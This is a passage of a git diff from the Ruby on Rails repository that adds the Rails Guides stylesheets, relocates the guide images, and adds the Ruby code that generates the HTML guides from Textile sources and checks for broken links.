+ background: #EEE url(../../images/tab_grey.gif) no-repeat left top;
+ padding: 0.25em 1em 0.5em 48px;
+}
+
+code {
+ font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
+ border: none;
+ margin: 0.25em 0 1.5em 0;
+ display: block;
+}
+
+.note {
+ background: #fff9d8 url(../../images/tab_note.gif) no-repeat left top;
+ border: none;
+ padding: 1em 1em 0.25em 48px;
+ margin: 0.25em 0 1.5em 0;
+}
+
+.info {
+ background: #d5e9f6 url(../../images/tab_info.gif) no-repeat left top;
+ border: none;
+ padding: 1em 1em 0.25em 48px;
+ margin: 0.25em 0 1.5em 0;
+}
+
+.note tt, .info tt {border:none; background: none; padding: 0;}
+
+#mainCol ul li {
+ list-style:none;
+ background: url(../../images/grey_bullet.gif) no-repeat left 0.5em;
+ padding-left: 1em;
+ margin-left: 0;
+}
+
+#subCol .content {
+ font-size: 0.7857em;
+ line-height: 1.5em;
+}
+
+#subCol .content li {
+ font-weight: normal;
+ background: none;
+ padding: 0 0 1em;
+ font-size: 1.1667em;
+}
+
+/* Clearing
+--------------------------------------- */
+
+.clearfix:after {
+ content: ".";
+ display: block;
+ height: 0;
+ clear: both;
+ visibility: hidden;
+}
+
+.clearfix {display: inline-block;}
+* html .clearfix {height: 1%;}
+.clearfix {display: block;}
+.clear { clear:both; }
+
+/* Same bottom margin for special boxes than for regular paragraphs, this way
+intermediate whitespace looks uniform. */
+div.code_container, div.important, div.caution, div.warning, div.note, div.info {
+ margin-bottom: 1.5em;
+}
+
+/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
+spurious blank area below with the box background. */
+div.important p, div.caution p, div.warning p, div.note p, div.info p {
+ margin-bottom: 0px;
+}
diff --git a/railties/guides/files/stylesheets/print.css b/railties/guides/files/stylesheets/print.css
new file mode 100755
index 0000000000..628da105d4
--- /dev/null
+++ b/railties/guides/files/stylesheets/print.css
@@ -0,0 +1,52 @@
+/* Guides.rubyonrails.org */
+/* Print.css */
+/* Created January 30, 2009 */
+/* Modified January 31, 2009
+--------------------------------------- */
+
+body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
+
+body {
+ background: #FFF;
+ font-size: 10pt !important;
+ font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+ line-height: 1.5;
+ color: #000;
+ padding: 0 3%;
+ }
+
+.hide, .nav {
+ display: none !important;
+ }
+
+a:link, a:visited {
+ background: transparent;
+ font-weight: bold;
+ text-decoration: underline;
+ }
+
+hr {
+ background:#ccc;
+ color:#ccc;
+ width:100%;
+ height:2px;
+ margin:2em 0;
+ padding:0;
+ border:none;
+}
+
+h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; }
+
+img { float:left; margin:1.5em 1.5em 1.5em 0; }
+a img { border:none; }
+
+blockquote {
+ margin:1.5em;
+ padding:1em;
+ font-style:italic;
+ font-size:.9em;
+}
+
+.small { font-size: .9em; }
+.large { font-size: 1.1em; }
diff --git a/railties/guides/files/stylesheets/reset.css b/railties/guides/files/stylesheets/reset.css
new file mode 100755
index 0000000000..cb14fbcc55
--- /dev/null
+++ b/railties/guides/files/stylesheets/reset.css
@@ -0,0 +1,43 @@
+/* Guides.rubyonrails.org */
+/* Reset.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+ margin: 0;
+ padding: 0;
+ border: 0;
+ outline: 0;
+ font-size: 100%;
+ background: transparent;
+}
+
+body {line-height: 1; color: black; background: white;}
+a img {border:none;}
+ins {text-decoration: none;}
+del {text-decoration: line-through;}
+
+:focus {
+ -moz-outline:0;
+ outline:0;
+ outline-offset:0;
+}
+
+/* tables still need 'cellspacing="0"' in the markup */
+table {border-collapse: collapse; border-spacing: 0;}
+caption, th, td {text-align: left; font-weight: normal;}
+
+blockquote, q {quotes: none;}
+blockquote:before, blockquote:after,
+q:before, q:after {
+ content: '';
+ content: none;
+}
diff --git a/railties/guides/files/stylesheets/style.css b/railties/guides/files/stylesheets/style.css
new file mode 100755
index 0000000000..89b2ab885a
--- /dev/null
+++ b/railties/guides/files/stylesheets/style.css
@@ -0,0 +1,13 @@
+/* Guides.rubyonrails.org */
+/* Style.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+/*
+---------------------------------------
+Import advanced style sheet
+---------------------------------------
+*/
+
+@import url("reset.css");
+@import url("main.css");
diff --git a/railties/guides/files/stylesheets/syntax.css b/railties/guides/files/stylesheets/syntax.css
new file mode 100644
index 0000000000..55fc5b209f
--- /dev/null
+++ b/railties/guides/files/stylesheets/syntax.css
@@ -0,0 +1,31 @@
+.html .tag {
+ color : green;
+}
+
+.html .doctype {
+ color: #708090;
+}
+
+.erb .tag {
+ color : green;
+}
+
+.erb .doctype {
+ color: #708090;
+}
+
+.ruby .keywords {
+ color : red;
+}
+
+.ruby .ivar {
+ color : blue;
+}
+
+.ruby .comment {
+ color: #708090;
+}
+
+.ruby .symbol {
+ color: green;
+}
diff --git a/railties/doc/guides/source/images/belongs_to.png b/railties/guides/images/belongs_to.png
index 44243edbca..44243edbca 100644
--- a/railties/doc/guides/source/images/belongs_to.png
+++ b/railties/guides/images/belongs_to.png
Binary files differ
diff --git a/railties/guides/images/book_icon.gif b/railties/guides/images/book_icon.gif
new file mode 100644
index 0000000000..c81d5db520
--- /dev/null
+++ b/railties/guides/images/book_icon.gif
Binary files differ
diff --git a/railties/doc/guides/source/images/bullet.gif b/railties/guides/images/bullet.gif
index 95a26364a4..95a26364a4 100644
--- a/railties/doc/guides/source/images/bullet.gif
+++ b/railties/guides/images/bullet.gif
Binary files differ
diff --git a/railties/guides/images/chapters_icon.gif b/railties/guides/images/chapters_icon.gif
new file mode 100644
index 0000000000..06fb415f4a
--- /dev/null
+++ b/railties/guides/images/chapters_icon.gif
Binary files differ
diff --git a/railties/guides/images/check_bullet.gif b/railties/guides/images/check_bullet.gif
new file mode 100644
index 0000000000..1fcfeba250
--- /dev/null
+++ b/railties/guides/images/check_bullet.gif
Binary files differ
diff --git a/railties/guides/images/credits_pic_blank.gif b/railties/guides/images/credits_pic_blank.gif
new file mode 100644
index 0000000000..f6f654fc65
--- /dev/null
+++ b/railties/guides/images/credits_pic_blank.gif
Binary files differ
diff --git a/railties/doc/guides/source/images/csrf.png b/railties/guides/images/csrf.png
index ab73baafe8..ab73baafe8 100644
--- a/railties/doc/guides/source/images/csrf.png
+++ b/railties/guides/images/csrf.png
Binary files differ
diff --git a/railties/doc/guides/source/images/customized_error_messages.png b/railties/guides/images/customized_error_messages.png
index fa676991e3..fa676991e3 100644
--- a/railties/doc/guides/source/images/customized_error_messages.png
+++ b/railties/guides/images/customized_error_messages.png
Binary files differ
diff --git a/railties/guides/images/error_messages.png b/railties/guides/images/error_messages.png
new file mode 100644
index 0000000000..428892194a
--- /dev/null
+++ b/railties/guides/images/error_messages.png
Binary files differ
diff --git a/railties/guides/images/feature_tile.gif b/railties/guides/images/feature_tile.gif
new file mode 100644
index 0000000000..75469361db
--- /dev/null
+++ b/railties/guides/images/feature_tile.gif
Binary files differ
diff --git a/railties/guides/images/footer_tile.gif b/railties/guides/images/footer_tile.gif
new file mode 100644
index 0000000000..bb33fc1ff0
--- /dev/null
+++ b/railties/guides/images/footer_tile.gif
Binary files differ
diff --git a/railties/guides/images/fxn.jpg b/railties/guides/images/fxn.jpg
new file mode 100644
index 0000000000..81999341f1
--- /dev/null
+++ b/railties/guides/images/fxn.jpg
Binary files differ
diff --git a/railties/guides/images/grey_bullet.gif b/railties/guides/images/grey_bullet.gif
new file mode 100644
index 0000000000..e75e8e93a1
--- /dev/null
+++ b/railties/guides/images/grey_bullet.gif
Binary files differ
diff --git a/railties/doc/guides/source/images/habtm.png b/railties/guides/images/habtm.png
index fea78b0b5c..fea78b0b5c 100644
--- a/railties/doc/guides/source/images/habtm.png
+++ b/railties/guides/images/habtm.png
Binary files differ
diff --git a/railties/doc/guides/source/images/has_many.png b/railties/guides/images/has_many.png
index 6cff58460d..6cff58460d 100644
--- a/railties/doc/guides/source/images/has_many.png
+++ b/railties/guides/images/has_many.png
Binary files differ
diff --git a/railties/doc/guides/source/images/has_many_through.png b/railties/guides/images/has_many_through.png
index 85d7599925..85d7599925 100644
--- a/railties/doc/guides/source/images/has_many_through.png
+++ b/railties/guides/images/has_many_through.png
Binary files differ
diff --git a/railties/doc/guides/source/images/has_one.png b/railties/guides/images/has_one.png
index a70ddaaa86..a70ddaaa86 100644
--- a/railties/doc/guides/source/images/has_one.png
+++ b/railties/guides/images/has_one.png
Binary files differ
diff --git a/railties/doc/guides/source/images/has_one_through.png b/railties/guides/images/has_one_through.png
index 89a7617a30..89a7617a30 100644
--- a/railties/doc/guides/source/images/has_one_through.png
+++ b/railties/guides/images/has_one_through.png
Binary files differ
diff --git a/railties/doc/guides/source/images/header_backdrop.png b/railties/guides/images/header_backdrop.png
index ff2982175e..ff2982175e 100644
--- a/railties/doc/guides/source/images/header_backdrop.png
+++ b/railties/guides/images/header_backdrop.png
Binary files differ
diff --git a/railties/guides/images/header_tile.gif b/railties/guides/images/header_tile.gif
new file mode 100644
index 0000000000..e2c878d492
--- /dev/null
+++ b/railties/guides/images/header_tile.gif
Binary files differ
diff --git a/railties/guides/images/i18n/demo_localized_pirate.png b/railties/guides/images/i18n/demo_localized_pirate.png
new file mode 100644
index 0000000000..9134709573
--- /dev/null
+++ b/railties/guides/images/i18n/demo_localized_pirate.png
Binary files differ
diff --git a/railties/guides/images/i18n/demo_translated_en.png b/railties/guides/images/i18n/demo_translated_en.png
new file mode 100644
index 0000000000..ecdd878d38
--- /dev/null
+++ b/railties/guides/images/i18n/demo_translated_en.png
Binary files differ
diff --git a/railties/guides/images/i18n/demo_translated_pirate.png b/railties/guides/images/i18n/demo_translated_pirate.png
new file mode 100644
index 0000000000..41c580923a
--- /dev/null
+++ b/railties/guides/images/i18n/demo_translated_pirate.png
Binary files differ
diff --git a/railties/guides/images/i18n/demo_translation_missing.png b/railties/guides/images/i18n/demo_translation_missing.png
new file mode 100644
index 0000000000..af9e2d0427
--- /dev/null
+++ b/railties/guides/images/i18n/demo_translation_missing.png
Binary files differ
diff --git a/railties/guides/images/i18n/demo_untranslated.png b/railties/guides/images/i18n/demo_untranslated.png
new file mode 100644
index 0000000000..3603f43463
--- /dev/null
+++ b/railties/guides/images/i18n/demo_untranslated.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/README b/railties/guides/images/icons/README
index f12b2a730c..f12b2a730c 100644
--- a/railties/doc/guides/source/images/icons/README
+++ b/railties/guides/images/icons/README
diff --git a/railties/doc/guides/source/images/icons/callouts/1.png b/railties/guides/images/icons/callouts/1.png
index 7d473430b7..7d473430b7 100644
--- a/railties/doc/guides/source/images/icons/callouts/1.png
+++ b/railties/guides/images/icons/callouts/1.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/10.png b/railties/guides/images/icons/callouts/10.png
index 997bbc8246..997bbc8246 100644
--- a/railties/doc/guides/source/images/icons/callouts/10.png
+++ b/railties/guides/images/icons/callouts/10.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/11.png b/railties/guides/images/icons/callouts/11.png
index ce47dac3f5..ce47dac3f5 100644
--- a/railties/doc/guides/source/images/icons/callouts/11.png
+++ b/railties/guides/images/icons/callouts/11.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/12.png b/railties/guides/images/icons/callouts/12.png
index 31daf4e2f2..31daf4e2f2 100644
--- a/railties/doc/guides/source/images/icons/callouts/12.png
+++ b/railties/guides/images/icons/callouts/12.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/13.png b/railties/guides/images/icons/callouts/13.png
index 14021a89c2..14021a89c2 100644
--- a/railties/doc/guides/source/images/icons/callouts/13.png
+++ b/railties/guides/images/icons/callouts/13.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/14.png b/railties/guides/images/icons/callouts/14.png
index 64014b75fe..64014b75fe 100644
--- a/railties/doc/guides/source/images/icons/callouts/14.png
+++ b/railties/guides/images/icons/callouts/14.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/15.png b/railties/guides/images/icons/callouts/15.png
index 0d65765fcf..0d65765fcf 100644
--- a/railties/doc/guides/source/images/icons/callouts/15.png
+++ b/railties/guides/images/icons/callouts/15.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/2.png b/railties/guides/images/icons/callouts/2.png
index 5d09341b2f..5d09341b2f 100644
--- a/railties/doc/guides/source/images/icons/callouts/2.png
+++ b/railties/guides/images/icons/callouts/2.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/3.png b/railties/guides/images/icons/callouts/3.png
index ef7b700471..ef7b700471 100644
--- a/railties/doc/guides/source/images/icons/callouts/3.png
+++ b/railties/guides/images/icons/callouts/3.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/4.png b/railties/guides/images/icons/callouts/4.png
index adb8364eb5..adb8364eb5 100644
--- a/railties/doc/guides/source/images/icons/callouts/4.png
+++ b/railties/guides/images/icons/callouts/4.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/5.png b/railties/guides/images/icons/callouts/5.png
index 4d7eb46002..4d7eb46002 100644
--- a/railties/doc/guides/source/images/icons/callouts/5.png
+++ b/railties/guides/images/icons/callouts/5.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/6.png b/railties/guides/images/icons/callouts/6.png
index 0ba694af6c..0ba694af6c 100644
--- a/railties/doc/guides/source/images/icons/callouts/6.png
+++ b/railties/guides/images/icons/callouts/6.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/7.png b/railties/guides/images/icons/callouts/7.png
index 472e96f8ac..472e96f8ac 100644
--- a/railties/doc/guides/source/images/icons/callouts/7.png
+++ b/railties/guides/images/icons/callouts/7.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/8.png b/railties/guides/images/icons/callouts/8.png
index 5e60973c21..5e60973c21 100644
--- a/railties/doc/guides/source/images/icons/callouts/8.png
+++ b/railties/guides/images/icons/callouts/8.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/callouts/9.png b/railties/guides/images/icons/callouts/9.png
index a0676d26cc..a0676d26cc 100644
--- a/railties/doc/guides/source/images/icons/callouts/9.png
+++ b/railties/guides/images/icons/callouts/9.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/caution.png b/railties/guides/images/icons/caution.png
index cb9d5ea0df..cb9d5ea0df 100644
--- a/railties/doc/guides/source/images/icons/caution.png
+++ b/railties/guides/images/icons/caution.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/example.png b/railties/guides/images/icons/example.png
index bba1c0010d..bba1c0010d 100644
--- a/railties/doc/guides/source/images/icons/example.png
+++ b/railties/guides/images/icons/example.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/home.png b/railties/guides/images/icons/home.png
index 37a5231bac..37a5231bac 100644
--- a/railties/doc/guides/source/images/icons/home.png
+++ b/railties/guides/images/icons/home.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/important.png b/railties/guides/images/icons/important.png
index 1096c23295..1096c23295 100644
--- a/railties/doc/guides/source/images/icons/important.png
+++ b/railties/guides/images/icons/important.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/next.png b/railties/guides/images/icons/next.png
index 64e126bdda..64e126bdda 100644
--- a/railties/doc/guides/source/images/icons/next.png
+++ b/railties/guides/images/icons/next.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/note.png b/railties/guides/images/icons/note.png
index 841820f7c4..841820f7c4 100644
--- a/railties/doc/guides/source/images/icons/note.png
+++ b/railties/guides/images/icons/note.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/prev.png b/railties/guides/images/icons/prev.png
index 3e8f12fe24..3e8f12fe24 100644
--- a/railties/doc/guides/source/images/icons/prev.png
+++ b/railties/guides/images/icons/prev.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/tip.png b/railties/guides/images/icons/tip.png
index a3a029d898..a3a029d898 100644
--- a/railties/doc/guides/source/images/icons/tip.png
+++ b/railties/guides/images/icons/tip.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/up.png b/railties/guides/images/icons/up.png
index 2db1ce62fa..2db1ce62fa 100644
--- a/railties/doc/guides/source/images/icons/up.png
+++ b/railties/guides/images/icons/up.png
Binary files differ
diff --git a/railties/doc/guides/source/images/icons/warning.png b/railties/guides/images/icons/warning.png
index 0b0c419df2..0b0c419df2 100644
--- a/railties/doc/guides/source/images/icons/warning.png
+++ b/railties/guides/images/icons/warning.png
Binary files differ
diff --git a/railties/guides/images/nav_arrow.gif b/railties/guides/images/nav_arrow.gif
new file mode 100644
index 0000000000..c4f57658d7
--- /dev/null
+++ b/railties/guides/images/nav_arrow.gif
Binary files differ
diff --git a/railties/doc/guides/source/images/polymorphic.png b/railties/guides/images/polymorphic.png
index ff2fd9f76d..ff2fd9f76d 100644
--- a/railties/doc/guides/source/images/polymorphic.png
+++ b/railties/guides/images/polymorphic.png
Binary files differ
diff --git a/railties/guides/images/posts_index.png b/railties/guides/images/posts_index.png
new file mode 100644
index 0000000000..50e956e8be
--- /dev/null
+++ b/railties/guides/images/posts_index.png
Binary files differ
diff --git a/railties/guides/images/rails_guides_logo.gif b/railties/guides/images/rails_guides_logo.gif
new file mode 100644
index 0000000000..a24683a34e
--- /dev/null
+++ b/railties/guides/images/rails_guides_logo.gif
Binary files differ
diff --git a/railties/doc/guides/source/images/rails_logo_remix.gif b/railties/guides/images/rails_logo_remix.gif
index 58960ee4f9..58960ee4f9 100644
--- a/railties/doc/guides/source/images/rails_logo_remix.gif
+++ b/railties/guides/images/rails_logo_remix.gif
Binary files differ
diff --git a/railties/guides/images/rails_welcome.png b/railties/guides/images/rails_welcome.png
new file mode 100644
index 0000000000..7e02ce5014
--- /dev/null
+++ b/railties/guides/images/rails_welcome.png
Binary files differ
diff --git a/railties/doc/guides/source/images/session_fixation.png b/railties/guides/images/session_fixation.png
index 6b084508db..6b084508db 100644
--- a/railties/doc/guides/source/images/session_fixation.png
+++ b/railties/guides/images/session_fixation.png
Binary files differ
diff --git a/railties/guides/images/tab_grey.gif b/railties/guides/images/tab_grey.gif
new file mode 100644
index 0000000000..e9680b7136
--- /dev/null
+++ b/railties/guides/images/tab_grey.gif
Binary files differ
diff --git a/railties/guides/images/tab_info.gif b/railties/guides/images/tab_info.gif
new file mode 100644
index 0000000000..458fea9a61
--- /dev/null
+++ b/railties/guides/images/tab_info.gif
Binary files differ
diff --git a/railties/guides/images/tab_note.gif b/railties/guides/images/tab_note.gif
new file mode 100644
index 0000000000..1d5c171ed6
--- /dev/null
+++ b/railties/guides/images/tab_note.gif
Binary files differ
diff --git a/railties/guides/images/tab_red.gif b/railties/guides/images/tab_red.gif
new file mode 100644
index 0000000000..daf140b5a8
--- /dev/null
+++ b/railties/guides/images/tab_red.gif
Binary files differ
diff --git a/railties/guides/images/tab_yellow.gif b/railties/guides/images/tab_yellow.gif
new file mode 100644
index 0000000000..dc961c99dd
--- /dev/null
+++ b/railties/guides/images/tab_yellow.gif
Binary files differ
diff --git a/railties/guides/images/tab_yellow.png b/railties/guides/images/tab_yellow.png
new file mode 100644
index 0000000000..cceea6581f
--- /dev/null
+++ b/railties/guides/images/tab_yellow.png
Binary files differ
diff --git a/railties/doc/guides/source/images/validation_error_messages.png b/railties/guides/images/validation_error_messages.png
index 622d35da5d..622d35da5d 100644
--- a/railties/doc/guides/source/images/validation_error_messages.png
+++ b/railties/guides/images/validation_error_messages.png
Binary files differ
diff --git a/railties/guides/rails_guides.rb b/railties/guides/rails_guides.rb
new file mode 100644
index 0000000000..e0532812e4
--- /dev/null
+++ b/railties/guides/rails_guides.rb
@@ -0,0 +1,43 @@
+pwd = File.dirname(__FILE__)
+$: << pwd
+
+begin
+ as_lib = File.join(pwd, "../../activesupport/lib")
+ ap_lib = File.join(pwd, "../../actionpack/lib")
+
+ $: << as_lib if File.directory?(as_lib)
+ $: << ap_lib if File.directory?(ap_lib)
+
+ require "action_controller"
+ require "action_view"
+rescue LoadError
+ require 'rubygems'
+ gem "actionpack", '>= 2.3'
+
+ require "action_controller"
+ require "action_view"
+end
+
+begin
+ require 'rubygems'
+ gem 'RedCloth', '>= 4.1.1'
+rescue Gem::LoadError
+ $stderr.puts %(Generating Guides requires RedCloth 4.1.1+)
+ exit 1
+end
+
+require 'redcloth'
+
+module RailsGuides
+ autoload :Generator, "rails_guides/generator"
+ autoload :Indexer, "rails_guides/indexer"
+ autoload :Helpers, "rails_guides/helpers"
+ autoload :TextileExtensions, "rails_guides/textile_extensions"
+ autoload :Levenshtein, "rails_guides/levenshtein"
+end
+
+RedCloth.send(:include, RailsGuides::TextileExtensions)
+
+if $0 == __FILE__
+ RailsGuides::Generator.new.generate
+end
diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb
new file mode 100644
index 0000000000..f93282db2e
--- /dev/null
+++ b/railties/guides/rails_guides/generator.rb
@@ -0,0 +1,172 @@
+require 'set'
+
+module RailsGuides
+ class Generator
+ attr_reader :output, :view_path, :view, :guides_dir
+
+ def initialize(output = nil)
+ @guides_dir = File.join(File.dirname(__FILE__), '..')
+
+ @output = output || File.join(@guides_dir, "output")
+
+ unless ENV["ONLY"]
+ FileUtils.rm_r(@output) if File.directory?(@output)
+ FileUtils.mkdir(@output)
+ end
+
+ @view_path = File.join(@guides_dir, "source")
+ end
+
+ def generate
+ guides = Dir.entries(view_path).find_all {|g| g =~ /textile$/ }
+
+ if ENV["ONLY"]
+ only = ENV["ONLY"].split(",").map{|x| x.strip }.map {|o| "#{o}.textile" }
+ guides = guides.find_all {|g| only.include?(g) }
+ puts "GENERATING ONLY #{guides.inspect}"
+ end
+
+ guides.each do |guide|
+ generate_guide(guide)
+ end
+
+ # Copy images and css files to html directory
+ FileUtils.cp_r File.join(guides_dir, 'images'), File.join(output, 'images')
+ FileUtils.cp_r File.join(guides_dir, 'files'), File.join(output, 'files')
+ end
+
+ def generate_guide(guide)
+ guide =~ /(.*?)(\.erb)?\.textile/
+ name = $1
+
+ puts "Generating #{name}"
+
+ file = File.join(output, "#{name}.html")
+ File.open(file, 'w') do |f|
+ @view = ActionView::Base.new(view_path)
+ @view.extend(Helpers)
+
+ if guide =~ /\.erb\.textile/
+ # Generate the erb pages with textile formatting - e.g. index/authors
+ result = view.render(:layout => 'layout', :file => name)
+ f.write textile(result)
+ else
+ body = File.read(File.join(view_path, guide))
+ body = set_header_section(body, @view)
+ body = set_index(body, @view)
+
+ result = view.render(:layout => 'layout', :text => textile(body))
+ f.write result
+ warn_about_broken_links(result) if ENV.key?("WARN_BROKEN_LINKS")
+ end
+ end
+ end
+
+ def set_header_section(body, view)
+ new_body = body.gsub(/(.*?)endprologue\./m, '').strip
+ header = $1
+
+ header =~ /h2\.(.*)/
+ page_title = $1.strip
+
+ header = textile(header)
+
+ view.content_for(:page_title) { page_title }
+ view.content_for(:header_section) { header }
+ new_body
+ end
+
+ def set_index(body, view)
+ index = <<-INDEX
+ <div id="subCol">
+ <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+ <ol class="chapters">
+ INDEX
+
+ i = Indexer.new(body)
+ i.index
+
+ # Set index for 2 levels
+ i.level_hash.each do |key, value|
+ link = view.content_tag(:a, :href => key[:id]) { textile(key[:title]) }
+
+ children = value.keys.map do |k|
+ l = view.content_tag(:a, :href => k[:id]) { textile(k[:title]) }
+ view.content_tag(:li, l)
+ end
+
+ children_ul = view.content_tag(:ul, children)
+
+ index << view.content_tag(:li, link + children_ul)
+ end
+
+ index << '</ol>'
+ index << '</div>'
+
+ view.content_for(:index_section) { index }
+
+ i.result
+ end
+
+ def textile(body)
+ # If the issue with notextile is fixed just remove the wrapper.
+ with_workaround_for_notextile(body) do |body|
+ t = RedCloth.new(body)
+ t.hard_breaks = false
+ t.to_html(:notestuff, :plusplus, :code, :tip)
+ end
+ end
+
+ # For some reason the notextile tag does not always turn off textile. See
+ # LH ticket of the security guide (#7). As a temporary workaround we deal
+ # with code blocks by hand.
+ def with_workaround_for_notextile(body)
+ code_blocks = []
+ body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
+ es = ERB::Util.h($2)
+ css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
+ code_blocks << %{<div class="code_container"><code class="#{css_class}">#{es}</code></div>}
+ "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n"
+ end
+
+ body = yield body
+
+ body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_|
+ code_blocks[$1.to_i]
+ end
+ end
+
+ def warn_about_broken_links(html)
+ anchors = extract_anchors(html)
+ check_fragment_identifiers(html, anchors)
+ end
+
+ def extract_anchors(html)
+ # Textile generates headers with IDs computed from titles.
+ anchors = Set.new
+ html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
+ if anchors.member?(anchor)
+ puts "*** DUPLICATE HEADER ID: #{anchor}, please consider rewording" if ENV.key?("WARN_DUPLICATE_HEADERS")
+ else
+ anchors << anchor
+ end
+ end
+
+ # Also, footnotes are rendered as paragraphs this way.
+ anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
+ return anchors
+ end
+
+ def check_fragment_identifiers(html, anchors)
+ html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
+ next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
+ unless anchors.member?(fragment_identifier)
+ guess = anchors.min { |a, b|
+ Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
+ }
+ puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
+ end
+ end
+ end
+ end
+end
diff --git a/railties/guides/rails_guides/helpers.rb b/railties/guides/rails_guides/helpers.rb
new file mode 100644
index 0000000000..e05793d40e
--- /dev/null
+++ b/railties/guides/rails_guides/helpers.rb
@@ -0,0 +1,34 @@
+module RailsGuides
+ module Helpers
+ def guide(name, url, options = {}, &block)
+ link = content_tag(:a, :href => url) { name }
+ result = content_tag(:dt, link)
+
+ if ticket = options[:ticket]
+ result << content_tag(:dd, lh(ticket), :class => 'ticket')
+ end
+
+ result << content_tag(:dd, capture(&block))
+ concat(result)
+ end
+
+ def lh(id, label = "Lighthouse Ticket")
+ url = "http://rails.lighthouseapp.com/projects/16213/tickets/#{id}"
+ content_tag(:a, label, :href => url)
+ end
+
+ def author(name, nick, image = 'credits_pic_blank.gif', &block)
+ image = "images/#{image}"
+
+ result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name)
+ result << content_tag(:h3, name)
+ result << content_tag(:p, capture(&block))
+ concat content_tag(:div, result, :class => 'clearfix', :id => nick)
+ end
+
+ def code(&block)
+ c = capture(&block)
+ content_tag(:code, c)
+ end
+ end
+end
diff --git a/railties/guides/rails_guides/indexer.rb b/railties/guides/rails_guides/indexer.rb
new file mode 100644
index 0000000000..5b5ad3fee1
--- /dev/null
+++ b/railties/guides/rails_guides/indexer.rb
@@ -0,0 +1,55 @@
+module RailsGuides
+ class Indexer
+ attr_reader :body, :result, :level_hash
+
+ def initialize(body)
+ @body = body
+ @result = @body.dup
+ end
+
+ def index
+ @level_hash = process(body)
+ end
+
+ private
+
+ def process(string, current_level= 3, counters = [1])
+ s = StringScanner.new(string)
+
+ level_hash = ActiveSupport::OrderedHash.new
+
+ while !s.eos?
+ s.match?(/\h[0-9]\..*$/)
+ if matched = s.matched
+ matched =~ /\h([0-9])\.(.*)$/
+ level, title = $1.to_i, $2
+
+ if level < current_level
+ # This is needed. Go figure.
+ return level_hash
+ elsif level == current_level
+ index = counters.join(".")
+ bookmark = '#' + title.strip.downcase.gsub(/\s+|_/, '-').delete('^a-z0-9-')
+
+ raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{bookmark}). #{index}#{title}")
+
+ key = {
+ :title => title,
+ :id => bookmark
+ }
+ # Recurse
+ counters << 1
+ level_hash[key] = process(s.post_match, current_level + 1, counters)
+ counters.pop
+
+ # Increment the current level
+ last = counters.pop
+ counters << last + 1
+ end
+ end
+ s.getch
+ end
+ level_hash
+ end
+ end
+end
diff --git a/railties/guides/rails_guides/levenshtein.rb b/railties/guides/rails_guides/levenshtein.rb
new file mode 100644
index 0000000000..4010b61e26
--- /dev/null
+++ b/railties/guides/rails_guides/levenshtein.rb
@@ -0,0 +1,29 @@
+module Levenshtein
+ # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance.
+ def self.distance(s1, s2)
+ s = s1.unpack('U*')
+ t = s2.unpack('U*')
+ m = s.length
+ n = t.length
+
+ # matrix initialization
+ d = []
+ 0.upto(m) { |i| d << [i] }
+ 0.upto(n) { |j| d[0][j] = j }
+
+ # distance computation
+ 1.upto(m) do |i|
+ 1.upto(n) do |j|
+ cost = s[i] == t[j] ? 0 : 1
+ d[i][j] = [
